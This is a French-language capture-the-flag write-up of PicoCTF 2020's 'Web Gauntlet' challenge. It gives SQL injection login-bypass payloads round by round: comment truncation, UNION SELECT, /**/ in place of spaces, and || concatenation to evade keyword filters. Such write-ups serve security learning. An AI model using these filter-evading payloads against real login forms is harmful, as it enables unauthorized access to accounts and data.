Web Gauntlet est un chall d’exploitation web proposé lors de la version 2020 de PicoCTF. Il s’agit d’un challenge plutôt classique où le but est de se loguer en tant qu’admin à l’aide d’injections SQL. Jusque là rien de bien nouveau… L’originalité de Web Gauntlet est toutefois qu’il faudra bypasser des filtres qui sont ajoutés à chaque niveau du chall pour complexifier les SQLi.
Test avec admin::admin
SELECT * FROM users WHERE username='admin' AND password='admin'
Ref: PayloadsAllTheThings - SQL injection
Round 1
Pour le ‘Round 1’ on ne peut pas utiliser ‘or’…
Payload:
Username: admin';-- test
Password: test
SELECT * FROM users WHERE username='admin';-- test' AND password='test'
; : ferme la requête – : ce qui est après est un commentaire
Remarque: Pas d’espace avant l’appel au commentaire sinon bloque car considéré comme white space voir plus bas round 4
Round 2
Payload:
Username: admin';
Password: test
SELECT * FROM users WHERE username='admin';' AND password='test'
Round 3
Ça change rien, on utilise aucun de ces symboles :)
Payload:
Username: admin';
Password: test
SELECT * FROM users WHERE username='admin';' AND password='test'
Round 4
On ne peut plus utiliser admin
…
En général le premier utilisateur dans la table est admin
1 admin password
2 user1 password1
...
Payload:
Username: bob' UNION SELECT * FROM users LIMIT 1;
Password: test
SELECT * FROM users WHERE username='bob' UNION SELECT * FROM users LIMIT 1;' AND password='test'
LIMIT 1 limite au premier résultat
Ne fonctionne pas car contient des whitespace :(
on peut utiliser /**/
à la place des espaces ce qui donne le payload suivant
Paylod:
bob'/**/UNION/**/SELECT/**/*/**/FROM/**/users/**/LIMIT/**/1;
Ref:
SELECT * FROM users WHERE username='bob'/**/UNION/**/SELECT/**/*/**/FROM/**/users/**/LIMIT/**/1;' AND password='bob'/**/UNION/**/SELECT/**/*/**/FROM/**/users/**/LIMIT/**/1;'
Round 5
‘The double-pipe sequence | is a string concatenation operator on Oracle.’ |
Ref: SQL injection - Union attacks - Portswigger
Payload: adm'||'in';
Poursuivez avec :
- PicoCTF 2018 - Web Application
This work is licensed under a Creative Commons Attribution 4.0 International License.